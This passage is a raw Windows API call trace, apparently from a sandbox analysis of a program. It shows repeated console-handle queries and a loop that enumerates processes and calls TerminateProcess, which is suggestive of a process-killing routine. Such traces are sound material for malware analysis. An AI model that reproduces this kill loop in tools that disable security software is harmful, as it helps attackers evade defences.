dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x117 [0068.479] GetLastError () returned 0x0 [0068.479] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x117, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.480] GetLastError () returned 0x0 [0068.484] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11b [0068.484] GetLastError () returned 0x0 [0068.484] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.484] GetLastError () returned 0x0 [0068.488] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11f [0068.488] GetLastError () returned 0x0 [0068.488] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.489] GetLastError () returned 0x0 [0068.489] SetConsoleTextAttribute (hConsoleOutput=0x11f, wAttributes=0x7) returned 1 [0068.489] GetLastError () returned 0x0 [0068.493] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11f [0068.493] GetLastError () returned 0x0 [0068.493] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.493] GetLastError () returned 0x0 [0068.493] SetConsoleTextAttribute (hConsoleOutput=0x11f, wAttributes=0x7) returned 1 [0068.494] GetLastError () returned 0x0 [0068.498] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11f [0068.498] GetLastError () returned 0x0 [0068.498] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.498] GetLastError () returned 0x0 [0068.498] SetConsoleTextAttribute (hConsoleOutput=0x11f, wAttributes=0x7) returned 1 [0068.498] GetLastError () returned 0x0 [0068.502] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11f [0068.503] GetLastError () returned 0x0 [0068.503] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.503] GetLastError () returned 0x0 [0068.503] SetConsoleTextAttribute (hConsoleOutput=0x11f, wAttributes=0x7) returned 1 [0068.503] GetLastError () returned 0x0 [0068.504] EnumProcesses (in: lpidProcess=0x2fee5d0, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2fee5d0, lpcbNeeded=0x5e8e5a8) returned 1 [0068.505] GetLastError () returned 0x0 [0068.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3d49d08, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3d49d08, ResultLength=0x5e8e528*=0xcc18) returned 0x0 [0068.506] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.507] GetLastError () returned 0x0 [0068.511] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11f [0068.511] GetLastError () returned 0x0 [0068.511] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x11f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.511] GetLastError () returned 0x0 [0068.515] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x123 [0068.530] GetLastError () returned 0x0 [0068.530] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x123, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.530] GetLastError () returned 0x0 [0068.534] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x127 [0068.536] GetLastError () returned 0x0 [0068.536] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x127, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.536] GetLastError () returned 0x0 [0068.540] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12b [0068.540] GetLastError () returned 0x0 [0068.540] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.541] GetLastError () returned 0x0 [0068.544] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12f [0068.545] GetLastError () returned 0x0 [0068.545] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.545] GetLastError () returned 0x0 [0068.545] SetConsoleTextAttribute (hConsoleOutput=0x12f, wAttributes=0x7) returned 1 [0068.545] GetLastError () returned 0x0 [0068.549] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12f [0068.549] GetLastError () returned 0x0 [0068.550] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.550] GetLastError () returned 0x0 [0068.550] SetConsoleTextAttribute (hConsoleOutput=0x12f, wAttributes=0x7) returned 1 [0068.550] GetLastError () returned 0x0 [0068.554] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12f [0068.554] GetLastError () returned 0x0 [0068.554] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.554] GetLastError () returned 0x0 [0068.554] SetConsoleTextAttribute (hConsoleOutput=0x12f, wAttributes=0x7) returned 1 [0068.555] GetLastError () returned 0x0 [0068.558] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12f [0068.559] GetLastError () returned 0x0 [0068.559] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.559] GetLastError () returned 0x0 [0068.559] SetConsoleTextAttribute (hConsoleOutput=0x12f, wAttributes=0x7) returned 1 [0068.559] GetLastError () returned 0x0 [0068.560] EnumProcesses (in: lpidProcess=0x3013138, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x3013138, lpcbNeeded=0x5e8e5a8) returned 1 [0068.561] GetLastError () returned 0x0 [0068.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3d69d28, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3d69d28, ResultLength=0x5e8e528*=0xc898) returned 0x0 [0068.562] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.563] GetLastError () returned 0x0 [0068.567] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12f [0068.577] GetLastError () returned 0x0 [0068.577] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x12f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.577] GetLastError () returned 0x0 [0068.581] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x133 [0068.581] GetLastError () returned 0x0 [0068.581] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x133, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.581] GetLastError () returned 0x0 [0068.585] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x137 [0068.585] GetLastError () returned 0x0 [0068.585] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x137, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.585] GetLastError () returned 0x0 [0068.589] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13b [0068.590] GetLastError () returned 0x0 [0068.590] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.590] GetLastError () returned 0x0 [0068.593] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f [0068.594] GetLastError () returned 0x0 [0068.594] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.594] GetLastError () returned 0x0 [0068.594] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0x7) returned 1 [0068.594] GetLastError () returned 0x0 [0068.598] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f [0068.598] GetLastError () returned 0x0 [0068.598] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.598] GetLastError () returned 0x0 [0068.598] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0x7) returned 1 [0068.599] GetLastError () returned 0x0 [0068.603] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f [0068.603] GetLastError () returned 0x0 [0068.603] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.603] GetLastError () returned 0x0 [0068.603] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0x7) returned 1 [0068.603] GetLastError () returned 0x0 [0068.607] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f [0068.607] GetLastError () returned 0x0 [0068.607] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.608] GetLastError () returned 0x0 [0068.608] SetConsoleTextAttribute (hConsoleOutput=0x13f, wAttributes=0x7) returned 1 [0068.608] GetLastError () returned 0x0 [0068.609] EnumProcesses (in: lpidProcess=0x30375bc, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x30375bc, lpcbNeeded=0x5e8e5a8) returned 1 [0068.609] GetLastError () returned 0x0 [0068.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3d89d48, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3d89d48, ResultLength=0x5e8e528*=0xc628) returned 0x0 [0068.610] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.612] GetLastError () returned 0x0 [0068.616] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13f [0068.629] GetLastError () returned 0x0 [0068.629] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.629] GetLastError () returned 0x0 [0068.633] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x143 [0068.633] GetLastError () returned 0x0 [0068.633] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x143, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.633] GetLastError () returned 0x0 [0068.637] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x147 [0068.637] GetLastError () returned 0x0 [0068.637] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x147, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.637] GetLastError () returned 0x0 [0068.641] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b [0068.641] GetLastError () returned 0x0 [0068.641] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.641] GetLastError () returned 0x0 [0068.645] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f [0068.645] GetLastError () returned 0x0 [0068.645] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.645] GetLastError () returned 0x0 [0068.645] SetConsoleTextAttribute (hConsoleOutput=0x14f, wAttributes=0x7) returned 1 [0068.646] GetLastError () returned 0x0 [0068.649] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f [0068.650] GetLastError () returned 0x0 [0068.650] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.650] GetLastError () returned 0x0 [0068.650] SetConsoleTextAttribute (hConsoleOutput=0x14f, wAttributes=0x7) returned 1 [0068.650] GetLastError () returned 0x0 [0068.654] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f [0068.654] GetLastError () returned 0x0 [0068.654] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.654] GetLastError () returned 0x0 [0068.654] SetConsoleTextAttribute (hConsoleOutput=0x14f, wAttributes=0x7) returned 1 [0068.654] GetLastError () returned 0x0 [0068.658] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f [0068.658] GetLastError () returned 0x0 [0068.658] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.659] GetLastError () returned 0x0 [0068.659] SetConsoleTextAttribute (hConsoleOutput=0x14f, wAttributes=0x7) returned 1 [0068.659] GetLastError () returned 0x0 [0068.660] EnumProcesses (in: lpidProcess=0x305b540, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x305b540, lpcbNeeded=0x5e8e5a8) returned 1 [0068.660] GetLastError () returned 0x0 [0068.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3da9d68, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3da9d68, ResultLength=0x5e8e528*=0xc290) returned 0x0 [0068.661] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.663] GetLastError () returned 0x0 [0068.667] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14f [0068.676] GetLastError () returned 0x0 [0068.676] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x14f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.676] GetLastError () returned 0x0 [0068.680] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x153 [0068.680] GetLastError () returned 0x0 [0068.680] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x153, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.680] GetLastError () returned 0x0 [0068.684] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157 [0068.684] GetLastError () returned 0x0 [0068.684] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x157, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.684] GetLastError () returned 0x0 [0068.688] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15b [0068.688] GetLastError () returned 0x0 [0068.688] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.688] GetLastError () returned 0x0 [0068.692] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f [0068.692] GetLastError () returned 0x0 [0068.693] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.693] GetLastError () returned 0x0 [0068.693] SetConsoleTextAttribute (hConsoleOutput=0x15f, wAttributes=0x7) returned 1 [0068.693] GetLastError () returned 0x0 [0068.697] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f [0068.697] GetLastError () returned 0x0 [0068.697] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.697] GetLastError () returned 0x0 [0068.697] SetConsoleTextAttribute (hConsoleOutput=0x15f, wAttributes=0x7) returned 1 [0068.698] GetLastError () returned 0x0 [0068.701] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f [0068.702] GetLastError () returned 0x0 [0068.702] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.702] GetLastError () returned 0x0 [0068.702] SetConsoleTextAttribute (hConsoleOutput=0x15f, wAttributes=0x7) returned 1 [0068.702] GetLastError () returned 0x0 [0068.706] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f [0068.706] GetLastError () returned 0x0 [0068.706] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.706] GetLastError () returned 0x0 [0068.706] SetConsoleTextAttribute (hConsoleOutput=0x15f, wAttributes=0x7) returned 1 [0068.707] GetLastError () returned 0x0 [0068.707] EnumProcesses (in: lpidProcess=0x307ed30, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x307ed30, lpcbNeeded=0x5e8e5a8) returned 1 [0068.708] GetLastError () returned 0x0 [0068.720] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.723] GetLastError () returned 0x0 [0068.728] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f [0068.728] GetLastError () returned 0x0 [0068.728] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.728] GetLastError () returned 0x0 [0068.732] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163 [0068.732] GetLastError () returned 0x0 [0068.732] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x163, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.732] GetLastError () returned 0x0 [0068.736] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x167 [0068.736] GetLastError () returned 0x0 [0068.736] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x167, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.736] GetLastError () returned 0x0 [0068.740] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16b [0068.741] GetLastError () returned 0x0 [0068.741] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x16b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.741] GetLastError () returned 0x0 [0068.744] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16f [0068.745] GetLastError () returned 0x0 [0068.745] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x16f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.745] GetLastError () returned 0x0 [0068.745] SetConsoleTextAttribute (hConsoleOutput=0x16f, wAttributes=0x7) returned 1 [0068.745] GetLastError () returned 0x0 [0068.749] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16f [0068.801] GetLastError () returned 0x0 [0068.801] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x16f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.801] GetLastError () returned 0x0 [0068.801] SetConsoleTextAttribute (hConsoleOutput=0x16f, wAttributes=0x7) returned 1 [0068.802] GetLastError () returned 0x0 [0068.806] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0068.807] GetLastError () returned 0x0 [0068.807] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.807] GetLastError () returned 0x0 [0068.807] SetConsoleTextAttribute (hConsoleOutput=0xf, wAttributes=0x7) returned 1 [0068.807] GetLastError () returned 0x0 [0068.811] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0068.811] GetLastError () returned 0x0 [0068.811] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 